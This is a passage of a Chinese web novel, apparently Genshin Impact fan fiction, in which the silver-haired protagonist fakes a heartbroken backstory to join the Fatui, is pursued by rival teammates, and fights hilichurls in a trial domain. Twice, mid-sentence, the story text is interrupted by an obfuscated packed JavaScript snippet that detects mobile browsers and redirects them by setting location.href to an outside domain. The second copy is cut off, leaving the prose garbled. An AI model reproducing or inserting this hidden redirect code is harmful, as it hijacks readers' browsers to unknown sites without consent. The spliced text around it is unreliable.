“怎么不至于,”贾妮丝十分自来熟,“刚刚还看见一金发小姑娘对你投怀送抱呢,金发碧眼的,我瞧着都喜欢。” 乘晞有些尴尬,“你误会了,我和那位姑娘也只是刚认识。” “这样么,”贾妮丝终于转入正题,“我是来好心提醒你,报名的时候要认真。” 联想到先前那些没能成功报名的人,乘晞品着其中的意思,“认真,就是不敷衍吗?” 贾妮丝没肯定也没否定,只是意味深长道,“愚人众只需要‘合适’的人。” 她倚在一旁,看着乘晞走入了距离最近的那条队伍。 报名需要填写登记表,并带着表格去工作人员的位置录入。 乘晞大致扫了一眼,不过是些基本信息,没有什么特别之处。 他如实填写了自己的姓名,父母子女亲缘关系都填无,年龄一栏写了刚过法定结婚年龄的数字。 队伍越来越短,已经能听见前排的对话。 “为什么加入愚人众?”工作人员问。 报名者义正辞严:“我志愿加入愚人众,因辉煌的理想奋进,与崇高的理念共鸣,为女皇大人效力,投身于壮阔的事业之中,让至冬再次伟大!” 工作人员眼皮都没抬,“下一位。” 这就是拒绝的意思了,报名者失落的离开。 乘晞在心中把对方的话过了一遍,默默做出评判:空讲情怀,太假。 后一人上前,工作人员做出了同样的提问。 新的报名者开口便是诉苦,讲述了家中的许多难处,“我来自北边一个小山村,上有八十老母下有三岁小儿……”最终道,“家里缺钱,想要挣钱补贴家用。” 工作人员也否了:“下一位。” 乘晞默默评判:只图利益,肤浅。 又一人上前。 “为什么加入愚人众?” “咱没什么多说的,就是讨个生活。” 乘晞闻言,对答话的人多看了几眼。对方看上去是不好惹的模样,多半混过社会。 工作人员也打量着应试者。这种人一看就是硬茬,即便加入队伍也不一定服从管教,愚人众不需要不听话的工具。更何况以往出现过类似的人物,为了一点蝇头小利勾结不法势力,反而坑害了自身所属的先遣连队。 前车之鉴历历在目,工作人员依然给拒了。 乘晞继续判断:立场不明,无用。 下一位就轮到他了。 乘晞来不及再多思考,递上了自己的报名表。 工作人员将表格接过,快速扫了一眼那简洁到可怜的答案,“你是孤儿?” 乘晞点点头。至少穿越之后记忆全无的他就是这样。 工作人员也没再过问其余信息。 如果是孤儿的话自小流浪,籍贯与居住地都填无也能理解。“你为什么加入愚人众?” 问话间,桌下的通讯器振了下,屏幕亮起。 借着纸张的遮掩,工作人员瞥见了简洁的三个字:[给他过。] 工作人员内心惊讶,但职业素养令他收敛了所有神色。这位叫乘晞的应试者直到现在都没有回答,大概是被问题难住了。 工作人员抬起头,刚想说些什么圆场,却见对方漂亮的眼尾不知何时泛起了红。 “加入愚人众是我深思熟虑的决定。”乘晞郑重道,“我这辈子再也没有其他追求。” 工作人员:? “年少时遇见过太惊艳的人,此后一生便都是蹉跎……他,也为愚人众效力……”乘晞已经进入了状态,“他有一双堇色眼睛,让人见了便沉溺其中……肌肤相贴的时候,会让我恍然生出世间只存我与他二人的错觉……” “他曾亲口说会对我负责,却在一个落雪的冬日离去,只留下披着斗篷的背影……” 工作人员半张着嘴巴,看银发少年伸手擦去眼眶溢出的泪水:“他离开那天的雪,就像今天的一样大……” 兜里有东西振了一下,贾妮丝背过身去。 [散兵]:[?] 贾妮丝回话:[大人,乘晞已经报名了。] [散兵]:[他都做什么了。] 贾妮丝:[……也没有什么需要汇报的。] 散兵看得出对面的状态明显话里有话:[你身为下属,什么时候也有含糊其辞的权利了。] 他知道这位下属对乘晞观感向来不错,不免认为对方的回答是在帮乘晞隐瞒。 [大人,这可是您一定要听的^^] 贾妮丝忍着笑,打字的手都险些按错键: [他说您渣了他就跑,他来愚人众千里追爱。] 18.18 随着隐含哽咽的讲述,银发少年潸然泪下。 工作人员大受震撼,“……别哭,慢慢说。” 在乘晞的故事里,他是爱而不得的痴情人设,此生唯一的挚爱离他而去投身愚人众,这也成为他想要加入愚人众的初衷。 无亲无故无牵无绊、所以好控制,为情所困别无旁骛、所以易拿捏,他为自己捏造了这样的人设,怎么看都是合适的工具人选——至少乘晞是这么认为的。 排队的报名者里都有人看不下去,掏出纸巾递给乘晞。 银发少年道了谢接过,擦去脸上的泪水。他哭过后双目微肿,眼皮红彤彤的。 工作人员见对方情绪稳定下来,才继续道,“你通过了。” 乘晞松出一口气。很好。 也不枉他之前借着侧身的功夫,从面板背包里紧急掏出绝云椒椒捏碎抹眼睛,硬生生的把自己给辣哭。 乘晞将手背伸出,看着经由对方操作后,魔法印记于肌肤间落成。 冰凉凉的感觉一闪而逝,他好奇的碰了碰,那印记也随着他的触碰若隐若现。 眼皮还火辣辣的痛,乘晞很快找去水池。都怪先前时间紧迫,一不小心用力过猛了。 他捧起清水冷敷双眼,好半天才终于将痛感减轻。 离开报名区域后,沿路三五成群的聚集着报名者,他们手上大多有成功报名的魔法印记,在见到乘晞同样拥有印记后,多少都露出了些意外神色,但也仅限于惊讶而已,并没有分给他太多关注。 乘晞心中奇怪,而贾妮丝已经追上来搭话,“关于之后的考核流程,你知道多少?” 乘晞对考核的具体内容了解并不详细,只在之前听旁人提到过。 “应该是去秘境抗击魔物,根据表现评价考核结果?” “差不多,”贾妮丝解释道,“看见通道旁边聚着的人没,他们大部分都是来找人组队的。” 她还要再细说,但察觉到通讯器的震动,只好道“等下再聊。” 乘晞便点了头,走向人群,在桌椅间找了个空位坐下。 他能察觉到贾妮丝对自己有几分亲和,但乘晞对陌生人向来保持谨慎的态度,一时间想不出对方向自己表达善意的缘由,只能暂时搁置心中的疑惑。 “要我说,这难度增加了不止一倍……” “……难怪啊,那么多人都在考虑组队。” 听着旁人的交谈,乘晞大致理清了今年考核的具体流程。 最初的考核是单纯的体术测试,由愚人众成员现场考核各位应试者,后来随着纳新规模的扩大,考核也发展为了秘境试炼。即将应试者传送至存在魔物的秘境之中,在规定时间内与魔物战斗,依据其讨伐过程中的表现决定去留。秘境内环境条件复杂,考核者全程观摩的可能性不大,因此评判参与者表现的标准便转变为获得的战利品情况。 自此组队的趋势便在报名者间流行,毕竟拥有神之眼的人只占少数,他们大多身为普通人,比起单打独斗面临的风险,相互合作会轻松许多,获得的收益也可能翻倍。 但合作并非万无一失的选择,乘晞想,反倒存在许多不可控的因素。比如队伍内部出现分歧甚至争端,战利品的分配不均,又或者干脆将矛头从魔物转移到其他参与者,队伍之间互相抢夺战果等等。 也难怪先前遇见的那些报名者,在彼此隐含期待的同时又保持了微妙的戒备。 不过这都与乘晞无关。他现在在众人眼中的形象,俨然是个肩不能挑手不能提的弱鸡。 虽然乘晞自认本身确实不能打,但他也不介意众人加深这样的滤镜。毕竟在他看来,组队的风险太高,没人找他组队反而免去了不少麻烦。 然而怕什么来什么。 金瑞拉挤开人群,朝乘晞而来,“你原来在这里,我等你好久都没见你过来。” “不是说好了等下见?”她坐到乘晞身边,“你不会在躲我吧。” 乘晞心说谁跟你说好了,不过不想见到你确实是真的。 “怎么会,”他嘴上反驳道,“这里人太多了,都没找见你。” 金瑞拉“哎”了一声,“就是开个玩笑,你别当真。” 她转而提起试炼的事情,“关于之后的考核,你有什么打算没?” 乘晞摇摇头,“大概一切看命吧。” “加入愚人众的机会如此难得,甚至连报名阶段都会筛去很多人。”金瑞拉似有关切,“我们都好不容易才通过,你难道要仅仅止步于排名垫底、被送去先遣队的命运吗?” 乘晞苦笑,“结果如何,也不是我想如何就能决定的。” 他圆滑的回避了对方的质疑。 金瑞拉攥着手指,似乎在纠结什么。 “况且我对考核的了解还不太具体。”乘晞试探的说。 “那你可以问我,”金瑞拉道,“我有事先做过许多功课。” “我有些好奇,既然考核的标准是战利品,如果事先携带一些魔物掉落物进场,浑水摸鱼将其作为自己的战果,考核者又该如何区分?” 不等金瑞拉回答,旁边已经有人听不下去了,“开什么玩笑,拿现成品蒙混过关是把愚人众当傻子吗?秘境中的魔物都做过特殊处理,掉落物也带有相应的标记,不可能与外界的混为一谈。” 金瑞拉没有嘲笑乘晞这个问题的天真,只是点点头,“这个人说得没错。” “战利品只代表试炼的结果,”乘晞转而问道,“考核者们对试炼的过程,就一点也不考虑和不关心吗?” “我不清楚,”金瑞拉的回答滴水不漏,“那就是愚人众的大人物们该考虑的事情了,谁知道他们是怎么想的。” 房间内始终回荡着众人的交谈声音,但不远处有吵闹越来越大,发展到了不可忽视的地步。 人们先后围过去,乘晞也不例外。 争论依旧没有停止,乘晞听着知情者的讲述,了解到是应试者在组队时发生了冲突。刚刚有一位成功报名的神之眼持有者出现,在等着组队的人眼里成了香饽饽,周围几组人都想拉对方入伙,这几队人相互贬低以彰显自己的优势,甚至一言不合动起了手。 但愚人众的工作人员也不是吃素的。他们基本都有神之眼,再不济也有邪眼,实力并非常人能及,三下五除二便将试图动手的应试者镇压。随后向在场所有人宣布,再有不遵守规则制造混乱的行为出现,直接剥夺考核参与资格。 发生冲突的几人虽然不能再动手,但对对方的敌意显然更胜。 抢人失败的那一方愤恨道,“走着瞧,进秘境里见真章。” 旅店内不能向旁人动手,进入秘境后可就没有这种规则了。 另一方讥讽,“多一个冰元素的就了不起了?我们队里可有火系,完全克制你们的属性。” “实力不够,属性来凑。”对面才看不过他们,“你以为属性克制就会怕你们?” 第三方有些看不过的插嘴,“你们为什么都这么自信?今年考核很难的。” 结果遭到了前两拨人的共同回击:“哪年考核不难?你有报名资格吗就插嘴,少在这里站着说话不腰疼。” 插嘴那人还想说什么,但声音很快被争吵了两拨人压过。 乘晞则走向对方,打了个招呼,“听你刚刚的意思,今年考核是有什么地方不一样吗?” “没错,”那人道,“今年提供了善后环节。通过试炼后,如有受伤可以接受愚人众提供的治疗,医药费用全免。” 愚人众的考核模式数年未变,众人大多惯性思维没有关注细节的改变,闻言纷纷侧耳过来。 “这听起来似乎是好事?” “应该也算是为促进报名做出的举措?” 愚人众成员的工作虽不至于刀山火海,但也从来不是什么安逸稳妥的差事。招新考核作为加入愚人众的第一道门槛,试炼中面对的魔物都是真刀实枪,一经参与生死自负早已成为默认准则。 每年都有应试者受伤甚至身亡,选择报名的人早就知晓了面临的风险,如今得知新增了免费医疗,无疑减轻了一定程度的后顾之忧。 但发言者却提醒众人不要高兴太早:“相应的,魔物应对起来也更困难。” “以往秘境里都是常规魔物,今年则是受到深渊侵染的魔物。” “而且前些年的秘境在进入后可以自由选择增益,今年一概没有。” 众人议论起来。 “自选增益我记得也不是每年都有,今年没有并不奇怪。” “选增益还会影响排名,削减排行权重,我本来就算有也不会选的。” “增益?”乘晞疑惑。 “比如增加自身元素抗性,或者提升其他效果的魔法,”金瑞拉解释道,“但在计分方面,选择增益者会比没选择者排名权重降低。” 乘晞点点头,“为保证公平。” “看来今年上头的经费都用到善后治疗上去了。”旁人道。 “不好说,虽然增益魔法需要用到各类符咒或药剂,但提供治疗显然耗费的人力物力更多吧。” “也可能是人家高层一拍脑袋的想法。听说试炼规则是由执行官制定的,每年轮换,也不知道今年由谁掌管。” “增益可以不提,但魔物改动得也太超纲了!” “我们不过是参加考核,又没有经受过系统的训练,连新兵都算不上,怎么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16381289|183600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可能打倒深渊魔物?” “你没认真听吧,深渊魔物就算有神之眼也没办法轻易对付,能让你去打?” “人家说的是受过深渊侵染的魔物,和深渊魔物是两码事。” “魔物还是普通魔物,只是受到了额外的影响,战斗起来更困难一点而已。” “深渊会造成什么影响?” “不知道,我又没见过。我猜可能类似狂暴状态?” 乘晞总结:“相当于今年的buff没给人加,反而加到魔物头上了。” “buff是什么?”金瑞拉问。 乘晞:“增益的别称。我……家乡那边的叫法。” “所以不用纠结咯,总不至于颗粒无收的。” “魔物那么多,肯定有容易对付的种类。就算打不过丘丘人,还打不过史莱姆吗?你拿根长枪挥,怎么都能给它戳穿。” “……”旁听的乘晞感觉有被内涵到——因为他连长枪都不会用。 在探索面板功能的时候,乘晞有从背包里取出武器试手过。曾经抽到的专武或许因为与角色的特殊联系,在穿越后随着角色一栏一起消失了,但其他武器还在。法器本质上是魔导武器,用以增加元素伤害的输出,但乘晞没有元素魔力,法器拿在手中和废铁毫无区别。 他只能转而考虑物理输出。双手重剑太沉暂时不选,乘晞试着取出过新手长枪和无锋剑,二者即便相对低阶,但也都由实打实的金属材料制成,拎在手里都费劲,更别说挥起来抗敌了。至于弓箭,他也有试过最基础的猎弓,可惜连把弦拉满都费力,瞄准和射箭更是一窍不通。 好在虽然武器派不上用场,但药剂可以。感谢背包里的丰富储备,乘晞把防风防潮防尘耐寒耐热绝缘药剂揣了满怀。 他决定进入秘境后直接嗑药,点不了攻击至少先把防御点满。 “但比起以前,今年的危险程度还是变高了,试炼结束之前没有办法离开秘境,万一被魔物缠上怎么办?” “不是有治疗提供么,只要能坚持到最后,基本就没问题。” “可我看过教令院的研究,深渊对魔物的影响很不可控,不是你嘴上说的那么简单。” “所以你是怕了?” “倒也没有。我只是质疑这次规则变更的不合理性。” “有道理,怎么早不变晚不变,刚好让我们赶上改革,简直跟小白鼠似的。” “也不知道今年是哪位执行官负责的设计。” “好像是散兵吧,早些时候我在城里见到过他。” 乘晞捕捉到关键词,旁听对话的神色更加认真了些。 “感觉是个不怎么样的执行官呢。” “听说他脾气不好,工作内容也无趣,队伍执行任务的伤亡率还高。往年试炼排名靠前的参与者都不愿意选他,他的队伍招人全靠上面统一分配。” “谁说的,”贾妮丝刚走过来,闻言反驳道,“散兵大——”她把险些出口的“人”字给吞了回去,“大概率才不是你说的那样。” “怎么,”讲话者不服,“你难道认识散兵不成?” 贾妮丝想说她还真的认识,但考虑到身份不能暴露,只好回敬道“传言又不一定可信,你别听风就是雨。” 至少她自己也是往届试炼的佼佼者之一,当年坚定不移的选择了跟随散兵。 反驳者“切”了一声,“传言之所以存在,就一定有存在的道理。要我说,他就是十一位执行官里最糟糕的那个,不然也不会把试炼规则改成这种模样。” “你说谁糟糕呢?”乘晞见不得有人讲自推坏话。 他提高了音量,“散兵这样做一定有他的深意!” 反驳者冷笑:“你倒是说说有什么深意。” 乘晞张口就来,“当然是为了锻炼我们的能力。有牺牲才有收获,提前面对高强度、高难度的挑战,也能更加激发我们的潜力,在逆境中获得突破。” “散兵这样做,完全是深谋远虑、运筹帷幄、高瞻远瞩。” “说得好!”贾妮丝附和。 金瑞拉也点了点头,“不过你有一点搞错了。”她纠正道,“这次试炼的规则制定者是博士。” 原本准备继续的乘晞闻言一噎:“博士?” “没错,”金瑞拉道,“今年轮到的负责人是博士,就是不久前在城中心参与讲演的那位执行官。” 乘晞话音一转,“那博士这样做一定有他的大病!” “不打好基础就给人上强度,能提供治疗也纯属马后炮。简直是目光短浅、草菅人命、惨无人道、丧尽天良、罪大恶极。” 众人:……? 你刚刚可不是这么说的。 19.19 听着乘晞明晃晃的双标言论,金瑞拉脸上的微笑都有些抽搐,一时间忘了自己要说什么。 那个反驳者也愣了好一会,才对乘晞“呸”了一声,“长了张会说话的嘴了不起啊,等进了秘境被揍得满地找牙你就舒坦了。” 乘晞正待回怼,却见金瑞拉拦住了他,“算了,不要和这种人一般见识。” “其实我一直有一件事情想问你……”金瑞拉有些不好意思的开口,“你可以和我组队吗?” 面对乘晞有些意外的神色,她解释道,“你我都是没有神之眼的人,那些有强者坐镇的队伍估计也不上我们,就算咱们加入进去,也多半会被当做炮灰看待。和不认识的人组队风险又太高,你我好歹也算熟悉,相互照应一下能多一份保障。” “你就不怕我是什么坏人?”乘晞挑眉。 “怎么会,”金瑞拉道,“坏人可不会第一次见面就好心帮我解围。我相信你,就是不知道……你能不能也一样相信我。” 乘晞一副被对方的坦诚感动但在重大事情上始终无法当即决断的模样:“试炼这么重要,组队还是慎重一些。或许比起找我,你有其他更优的选择。” “别人都是强强联合,”旁人闻言讥讽,“你们两个弱弱联合,到时候连送人头都是双倍的送。” “要我说,还不如找个厉害的队伍求着加进去,就算被人当工具当炮灰,至少高风险也有高回报。” “你哪里来的优越感,该不会给别人当狗腿当出习惯了?”金瑞拉嘴下毫不留情,指了指乘晞,“就算都是普通人,和人家组队我也觉得赏心悦目。不像你脸上那增生的疤,多看一眼都要担心走路被绊倒。” 那人被激起怒意,恶狠狠的瞪着乘晞。 眼看战火又要烧到自己身上,乘晞抬了抬手,正打算说句什么,视线就被另一道身影所阻隔。 是贾妮丝。 她直截了当道:“乘晞,我想和你组队。” 金瑞拉看着这个莫名其妙横插一脚的人,“你是谁?” 她又转向乘晞,“你认识她?” 贾妮丝并不搭理金瑞拉,只是对乘晞道,“我有神之眼,和我组队试炼会更轻松。” 她早就关注着乘晞的动向了,考虑到执行官大人的监视吩咐,贾妮丝觉得试炼过程中全程陪同对方会更为稳妥。但以陌生人的身份短时间内难以建立信任,贾妮丝在纠结如何开口,就见那个金发姑娘先她一步提出了组队请求。这下贾妮丝也没心思纠结了,干脆跟在对方后面提出了同样的请求。 乘晞属实愣了一会。 这次考核他是准备单独行动的,因为与任何陌生人同行都会具有风险,况且他可能在试炼中使用面板,乘晞并不想在旁人面前暴露自己的特殊能力。 他已经婉拒过金瑞拉,此刻打算如法炮制的应对贾妮丝:“你那么厉害,要是和我一起的话,我恐怕会拖你后腿。” 金瑞拉却有几分期待,“姐姐,你是来加入我们的吗?你那么厉害,我们三个人有你在,肯定能把试炼顺利通过。” “谁和你是们了?”贾妮丝瞥了她一眼,指了指旁边的乘晞,“我只和他组队。” “是我哪里惹到你了吗?”金瑞拉委屈,“你好像对我有着莫名其妙的敌意。” “总要讲究先来后到吧,是我先提的组队。”她求助的看乘晞,“这个姐姐好凶。” 贾妮丝“呵”了一声,“组队只看实力,不看先后。” 她也靠近一步,“你是在道德绑架乘晞吗?” 两人一左一右,将乘晞夹在中间,同时等待对方的回答。 乘晞就这样陷入了诡异的修罗场:“……?” 周围人也多少注意到了这边的情况。 神之眼持有者会变得抢手可以理解,但银发少年这种花瓶被人争抢的场景实属罕见。况且其中一位竞争者本身就有神之眼,犯不上拉乘晞这种普通人组队,这让众人对贾妮丝的用意更加好奇,小声议论起来。 围观者肉眼可见的越来越多。 乘晞迫切需要思考出破局之法,脑子里的小人高速旋转。 人群忽然被分开,平头灰发男子挤了过来,正是先前对乘晞出手试探过的那位。 他大概并不了解这里发生了什么,有些奇怪为什么被人围观,站在原地愣了几秒。但对上乘晞的视线后,还是开口道,“你有组队计划吗?” 乘晞眼皮跳了一下,“你不会也想找我组队吧?” 他自己都觉得这样的想法多少有些自恋了。 “正是,”男子对他微微点头,露出肩上的风系神之眼,“希望你可以考虑一下。” 乘晞:“……” 今天他撞了什么运,一个两个都来找他组队,现在甚至来了第三个? 乘晞艰难道,“我可以问一下为什么吗?” 总不会是这人因试探自己而被怼,却被自己临危不惧的风范所吸引……怎么想都觉得很扯。 “没什么特别的理由,”男子俯视着乘晞,“年轻人,我很欣赏你。” 他声音低沉,音色里天然流露出郑重,“如果你不信任我,我也可以向神明起誓,在试炼中保护你的安全、向你提供帮助、并且绝不做伤害你的事情。” 灰发男子说着上前一步。 乘晞恍然间觉得,这位与金瑞拉和贾妮丝三人,围着自己形成了一个等边三角形。 旁边不知道是谁“哇”了一句,“好震撼。” “从两女争一男,发展成了两女一男争一男。” “……”乘晞脑子里的小人已经转晕了。 好想闭上眼,希望一切都是自己的幻觉。 灰发男子虽然不理解旁边人在说什么,但也不打算逼迫乘晞,“试炼明天开始,你还有足够的时间考虑。” 他递给对方一张卡片,“这是我的房间号码,如果你考虑出了决定,欢迎随时来告知我。” 说罢便转身离开,留乘晞在原地凌乱。 “这个银头发的小子有什么好的,一看就是连刀都没摸过的类型,”围观者议论道,“一个神之眼持有者来找他就算了,现在又冒出来另一个……” “也就是他长了张好脸,”疤脸男啐了一口,“没看那人给他的是房间号吗,房间号是什么意思,和给房卡没区别。这里可是旅馆、是酒店,房卡一刷,房门一关——” 他不怀好意的扫视乘晞的面容,“谁知道这小子是怎么傍上人家的。还引得两个漂亮小妞为他争风吃醋……” 疤脸男令人不适的目光落在金瑞拉身上,“我虽然也没有神之眼,但至少比这个祸水脸靠谱。要我说,你还不如跟了我。” “好恶心。”金瑞拉躲到乘晞身后,“乘晞,我只愿意和你组队。” “装什么清高?”疤脸男先前的怨气在此刻尽数发泄,唾沫几乎要喷到乘晞身上,“你不是很能说吗,现在怎么哑巴了?” 乘晞向后躲了躲,避免被对方的唾沫波及。 “还挺优雅。”疤脸男讥讽。 于是乘晞优雅的理了理头发。 “不要讳疾忌医。”他看着疤脸男,以及那张充满污言秽语的嘴:“肛裂趁早去治。” 疤脸男从没听过这么脏的话,当即就要动手。然而贾妮丝反应更快,一团火元素力打出,拦在对方面前。 乘晞刚想表达谢意,却见那火元素突然膨胀,燎到了疤脸男的脸。 疤脸男本就狰狞的面目更加狰狞,叫着痛躲开,但不敢再骂人,只是怨毒的盯着贾妮丝与乘晞。 贾妮丝将乘晞往旁边推了一个位置,自己挡去将对方隔开。 确认疤脸男不再敢造次,她才小声对乘晞道,“我没想把动静弄这么大来着……” 贾妮丝原意只是震慑对方,并没有动手伤人的打算,哪知道那团火元素毫无征兆的暴涨。 “可能他刚好在喝酒吧。”室内温度较高,易燃的酒气刚好挥发,也算是合理的缘由。 有了这一遭,无人再敢对乘晞和两位姑娘发出议论,话题重新回到试炼上。众人该吃吃该喝喝,聊天声音重新逐渐与刀叉碰撞声交融。 乘晞正二度婉拒两位姑娘的组队邀请,忽然听到旁边一声惨叫。 他扭头一看,发现疤脸男被银叉扎到了眼睛,半张脸鲜血淋漓,十分可怖。 众人也闻声望过来,有几个吃多了的捂住胃干呕。 乘晞左右看了看,金瑞拉和贾妮丝也面色震惊,显然都没想到现世报来得这么快。 疤脸男原本点了份牛排,在乘晞这边没讨到便宜后怨气更甚,但又不敢表露,只能用力的切着牛排以作发泄。然而肉排的火候不佳,疤脸男越切越粗暴,最后用刀尖去挑,没控制好力度,反而伤了自己。 众人先是震惊,随后便是嘈杂的议论。 在议论声中,疤脸男听到了一句慵懒的女声,幽幽飘进他耳朵:“好可惜呢,才瞎了一只。” “谁说的!”他气急败坏,却找不到发声者在哪里,“你给我出来!” 众人都奇怪的看着他,不知道这个人受伤后为什么忽然跳脚。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他将防寒药剂多灌了一些,其余类别也雨露均沾,将全元素抗性提升了一个度。 整瓶体力药剂下肚,乘晞拿出无锋剑对着冰块敲了一下,坚冰表面只出现一道裂纹。虽然攻击毫无增益,但他感觉双腿充满了力量,现在甚至可以去跑马拉松——至少在逃跑方面自己已经变强了。 乘晞嫌铁剑太沉,干脆收回背包里。 耐寒药剂只能提升人对冰元素的抗性,感知到的寒冷并不会得到削减。乘晞又从包里召出一只放热瓶握在手里。 放热瓶是他那堆道具里难得不属于氛围制造类别的,由星银矿石与烈焰花花蕊炼金合成,虽然小巧到单手就能握住,却能够让持握的人全身感到温暖。 乘晞准备了四方八方之网,这种奇巧道具原本是用于捕捉小动物的,由稻妻的匠人制成,伸缩力与韧性兼备。乘晞虽然没有与大型魔物战斗的信心,但有道具在手,对付一些低等魔物还是可以考虑的。 一切准备完毕,大约过去了一刻钟。周围依然毫无人迹,不过乘晞也没有放松警惕。 远处的灌木丛有响动,乘晞对这声音熟悉,猜测多半里面是史莱姆。 果然如他所料,一只滚圆的冰史莱姆从中摇摇晃晃的挪了出来。 但史莱姆身后,还跟着一位金发姑娘的身影——是金瑞拉。 二人的见面如此猝不及防,以至于双双愣了下。 “是你?” “我是追着这家伙来的,”金瑞拉指了指史莱姆解释道,“没想到还能遇见你。” 乘晞掩去思索神色,“真巧。” 金瑞拉手中握着一柄短刀,“你有带什么武器吗?” 乘晞向对方展示了自己的四方八方之网。 两人的处境十分类似,他们都不拥有元素力,也都将目标落在了难度较低的魔物上。 “不如我们一起?”金瑞拉问。 “好。”此情此景也不好直接拒绝,乘晞只能静观其变。 二人的武器功能刚好互补,共同应对低等魔物并不困难。 “我先控制住它。”乘晞张开四方八方之网,摆出抛射的姿势,瞄准史莱姆的方向。 “我补刀。”金瑞拉说。 利刃悄然出鞘,泛着幽幽寒光。金瑞拉持刀的手指微微攥紧了。 她话说的是史莱姆,目光却落向了乘晞毫无防备的后背。 20.20 忽然一道声音传来,“你们两个?” 乘晞一惊,四方八方之网从手中脱出,掉在了脚边。金瑞拉也迅速回到了放松的姿态。 两人共同望向来人,发现是贾妮丝。 太奇怪了——怎么又是偶遇。 乘晞心里泛起浓重的疑惑,表情却没有流露半分。 “我刚在山坡那边,遇见了昨天那个脸上有疤的男人,”贾妮丝道,“他带了一支五个人的队伍,还想暗算我,被我打跑了。” 金瑞拉闻言脸色一皱。 察觉到乘晞在看她,金瑞拉又露出一个安抚的笑,“真是叫人后怕。还好有贾妮丝出手,不然那群人被咱们遭遇到,二打五肯定打不过。” 贾妮丝打量着二人,“你们已经组队了?” 乘晞:“刚遇见。” 贾妮丝:“那正好一起。” 就这样,两个人的队伍变成了三个人。 先前那只史莱姆已经溜走了,有贾妮丝这个神之眼持有者坐镇,三人将讨伐目标转为了丘丘人。 远处的树丛中有一片丘丘人营地。三人由贾妮丝带路,缓慢的靠近树丛。 丘丘人是提瓦特大陆较为基础的人形魔物,常以群居。随着距离的靠近,乘晞注意到了茅草堆后晃动的竖长耳朵。 三人半蹲在雪堆后观望。 “丘丘人一共有三只,一只射手、两只打手,”贾妮丝低声介绍敌情,“除此之外,还有一只丘丘暴徒,木盾属性。” 金瑞拉闻言,神色玩味起来,但也只是短暂一瞬。 “我去对付丘丘暴徒,尽量吸引所有魔物的注意。万一丘丘人追过来,也是被我打成半残的状态。”贾妮丝道,“你们相互合作,两只打手只会近战,可以逐一击破。先困住再补刀,注意保持安全距离。至于射手,它只会远程攻击,蓄力瞄准的时候弓箭会发光,注意观察,提前躲避就可以。” 在魔物划分里,丘丘人属于普通魔物,而丘丘暴徒属于精英魔物。依据实力和难易程度分工,这样的战术安排十分合理。 “能打则打,不能对付就等我来收尾,”贾妮丝嘱咐道,“一切以自身安全为首。” 乘晞和金瑞拉齐齐点头。 确认两人都明白了她的意思,贾妮丝抬手召出长剑,跨入了魔物营地。 火元素在剑上附魔,伴随着丘丘暴徒的怒吼,贾妮丝点燃了对方的木盾。 丘丘暴徒有近两米高,身躯强壮,木盾更是坚实无比,但天然被火焰克制。它见燃烧的木盾无法熄灭,便蓄足力气朝攻击它的贾妮丝撞来。 丘丘暴徒的冲撞之力,足以掀翻人类商队的马车,但贾妮丝并不畏惧,提剑而上。她旋身蓄力,附满火元素的剑身荡出半道弧线,重重击打在木盾上。 旁边的丘丘人原本想来加入战局,但被贾妮丝的挥剑余波伤及,倒仰着摔了出去。 丘丘暴徒的木盾由元素力化成,虽然笨重但厚度惊人,即便燃烧也要等待许久才能燃尽。最佳的应对方式是与之周旋,待燃尽后再攻击。但贾妮丝为了吸引仇恨,选择了与持盾状态的暴徒正面交锋。 营地高处的射手丘丘人瞄准了她,射出一箭。箭矢上带着冰元素,贾妮丝闪身避过,还不忘提醒另外二人,“当心,是冰弓!” 倒地的丘丘人大概意识到提着剑的女人打不过,转而将矛头对准两位普通人。 其中一只率先站起,挥舞着木棒冲了出去。乘晞投出四方八方之网,丘丘人被精准困住,跌倒在地。 它手中的木棒骨碌碌滚出去,乘晞弯腰捡起。 织网中丘丘人挣扎着,金瑞拉正要上前补刀,但另一只也冲过来了。乘晞用力甩出手中的木棒,砸中丘丘人的脑袋,伴随着丘丘人的大叫声将其击倒。 就在此时,不远处突然一阵怒吼。 一团高大的身影带着火红的颜色,势不可挡的冲了出来。 竟然还有另外一只丘丘暴徒! 贾妮丝的声音骤然提高:“快躲开!” 这只暴徒的武器是一把巨大的斧子,上面同样附着着火元素力。贾妮丝还在与持木盾的那只缠斗,一时间分身乏术,而火斧丘丘暴徒已经越过她,朝两位普通人所在的位置直冲而去。 一切只发生在短短数秒之间。 飞雪因极高的温度融化,火浪的热意席卷而来。 乘晞首当其冲,而侧后方的金瑞拉已经被吓傻了,呆站在原地。 乘晞只来得及撞开金瑞拉,两人堪堪避过丘丘暴徒的冲撞,但也因惯性倒在雪地里。 持有巨斧的高大魔物终于刹住,它戴着面具的脸锁定了乘晞,将火斧高高举起。 乘晞在地上一滚。 轰。 魔物天生巨力,斧尖撞击地面,带来剧烈的震颤。火元素将积雪融化,混作带着泥的雪水。 乘晞没有时间爬起身逃跑,他接连滚了好几下,躲避丘丘暴徒的攻击。 轰!轰! 劈空而来的斧砍一下又一下,乘晞朝不同方向滚了好几回,身上黏住的冰雪越来越多。 每一次躲避都比上一次更加费力。而魔物屡次劈砍未中,变得暴躁起来,挥斧的力度愈发加重。 总躲下去不是办法,终究会有失手的时候。乘晞确信如果被斧头击中,自己就会从一个人变成两截人。 他意识中召出面板,展开地图。秘境内显示是一片黑蒙蒙,没有任何明确的绘制,只有自己所在的地方有蓝色标点,与游戏中的设定一样。但传送功能还在。 乘晞来不及思考落脚点,只能选择盲传。因为不清楚自己传送能力的上限,而目的也只是争取片刻时间避过攻击,他随意点了个地图中十几米外的位置,就要按下传送。 “铛”的一声,长剑飞来,与斧刃发出刺耳的摩擦声音。 